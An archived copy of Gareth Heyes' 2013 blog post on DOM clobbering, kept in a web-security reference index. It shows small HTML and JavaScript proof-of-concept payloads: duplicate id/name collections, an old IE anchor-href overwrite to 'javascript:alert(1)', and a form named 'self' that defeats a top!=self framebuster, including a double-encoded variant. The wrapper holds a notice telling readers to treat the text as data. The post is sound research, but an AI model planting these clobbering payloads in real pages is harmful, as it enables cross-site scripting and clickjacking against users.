---
type: Article
title: DOM Clobbering
description: "How named DOM access lets markup overwrite script variables. Two elements sharing an id or name become an HTML collection reachable as a global, self-referencing indefinitely and shadowing the element's own properties; a global assignment could rewrite a same-named anchor's href on IE; and naming a form 'self' with a location attribute defeats a top!=self framebuster."
resource: "https://thespanner.co.uk/2013/05/16/dom-clobbering"
tags: [article, webseclist-reference, en, thespanner-co-uk, dom, dom-clobbering, xss, clickjacking, ui-redress, owasp-a03-2021, owasp-a04-2021, owasp-a08-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-17T11:54:37+00:00"
status: stable
stale_after: 2027-08-17
sources:
  - id: original
    resource: "https://thespanner.co.uk/2013/05/16/dom-clobbering"
    title: DOM Clobbering
    author: Gareth Heyes
also_at: []
authors:
  - Gareth Heyes
canonical_url: ""
cited_by:
  - "2013.md:55"
commit: ""
content_sha256: 743ca0570f10df02a668d7ce79839159af163bd8c9e81bf09ef4cbcb50b12344
depth: full
depth_reason: default
kind: article
language: en
licence: unknown
original_url: "https://thespanner.co.uk/2013/05/16/dom-clobbering"
published: ""
publisher: thespanner.co.uk
publisher_english: ""
raw_sha256: 6f0dfa0154b15858894237f2911778e86a5a32fa32b81db8789f3b086a44a3f3
retrieved_from: "https://thespanner.co.uk/2013/05/16/dom-clobbering"
retrieved_kind: stored
retrieved_utc: "2026-08-17T11:54:37+00:00"
slug: thespanner-co-uk-dom-clobbering
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# DOM Clobbering

**DOM Clobbering** - Gareth Heyes, thespanner.co.uk.

- Published: date not stated
- Original: <https://thespanner.co.uk/2013/05/16/dom-clobbering>
- Preserved from: https://thespanner.co.uk/2013/05/16/dom-clobbering (stored) on 2026-08-17
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

The DOM is a mess. In an effort to support legacy quick short cuts such as "form.name" etc the browsers have created a Frankenstein monster. This is [well known of course](http://jibbering.com/faq/names/) but I just wonder how far the rabbit hole goes. I'm gonna share what I discovered over the years. 

### HTML Collections

First up is my favourite "HTML Collections", when html elements are combined into groups they become a collection. You can actually force a collection by giving an element the same name. Such as:

```html

<input id=x><input id=x><script>alert(x)</script>

```

On IE "x" alerts "Object HTML Collection". What's interesting is there are two ways of doing this, via name and via id, because it's an array like structure you can reference each element by the order they appear in the collection e.g. collection[0] is the first element. We can use this functionality to "clobber" variables into window to create some interesting stuff. An example of this:

```html

<a href="invalid:1" id=x name=y>test</a>
<a href="invalid:2" id=x name=y>test</a>
<script>alert(x.y[0])</script>

```

What is especially odd is that a collection constructed like this can refer to itself forever, for example:

```html

<script>
alert(x.y.x.y.x.y[0]);
alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);
</script>

```

When the elements become a collection this of course removes the normal properties/methods on the HTML element if it was being referenced by name. 

```html

<a href=1 name=x>test</a>
<a href=1 name=x>test</a>
<script>
alert(x.removeChild)//undefined
alert(x.parentNode)//undefined
</script>

```

You can see how that could cause problems :)

### Variable assignments cause anchor href modifications

This is a very old bug probably a few years old now, it was rediscovered by @gsnedders. On IE a global variable with the same name as an anchor element caused modification of that anchors href. For example

```html

<a href="123" id=x>test</a>
<script>
x='javascript:alert(1)'//only in compat!
</script>

```

If you have an anchor named "x" and an assignment with the same name then even if it is fully encoded you can still inject XSS by modifying the anchor directly.

### Framebusters busted

Lastly on my trip down memory lane I have another interesting bug that was again found many moons ago. You might be familiar with code similar to this:

```html
<script>
if(top!=self){
 top.location=self.location
}
</script>
``` 

It's checking if the top most window is the same as the current window (usually to prevent a page being framed). If we can clobber a form before the check then we can fool the logic into thinking that self is a form and "self.location" is an attribute on that form like this:

```html
<form name=self location="javascript:alert(1)"></form>
<script>
if(top!=self){
 top.location=self.location
}
</script>
```

Which fires the alert! But there's more, since an attribute is decoded when it's accessed we can encode the colon of course but because on IE when the assignment occurs it's also decoded we can now double encode! Which means this is perfectly valid too:

```html
<form name=self location="javascript&#58;alert(1)"></form>
<script>
if(top!=self){
 top.location=self.location
}
</script>
```

In conclusion the DOM is a mess.
